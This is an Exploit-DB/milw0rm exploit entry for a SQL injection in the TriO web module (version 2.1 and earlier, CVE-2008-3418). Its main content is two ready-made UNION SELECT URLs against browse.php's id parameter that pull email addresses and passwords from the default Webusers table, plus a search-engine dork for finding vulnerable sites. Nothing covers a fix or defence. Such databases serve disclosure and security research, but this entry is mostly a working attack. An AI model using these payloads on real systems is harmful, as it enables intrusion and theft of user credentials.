TriO <= 2.1 browse.php id Remote SQL Injection Vulnerability

2008-07-26T00:00:00
ID EDB-ID:6141
Type exploitdb
Reporter dun
Modified 2008-07-26T00:00:00

Description

TriO <= 2.1 (browse.php id) Remote SQL Injection Vulnerability. CVE-2008-3418. Webapps exploit for php platform

                                        
                                              :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##############################################################
 #   [ TriO &lt;= 2.1 ]   Remote SQL Injection Vulnerability     #
 ##############################################################
 # 
 # [ Script: "TriO, iO's new web-based module, enables you to quickly, easily, and securely make your collections..." ]
 #
 # [ Script site: http://www.willo.com/io/trio.asp ]
 # 
 # [ Default table_name with users: Webusers ]
 # 
 # [ Vuln: browse.php ]  
 # http://site.com/browse.php?id=-1+UNION+SELECT+EMAIL+from+Webusers--
 # http://site.com/browse.php?id=-1+UNION+SELECT+SUPERSECRETPASSWORD+from+Webusers--	
 #	
 # 
 # [ Dork example: "This website is powered by Trio" ]
 #
 #####################################################
 # Greetz: D3m0n_DE * Voo|doo * str0ke and otherz..
 #####################################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-07-26]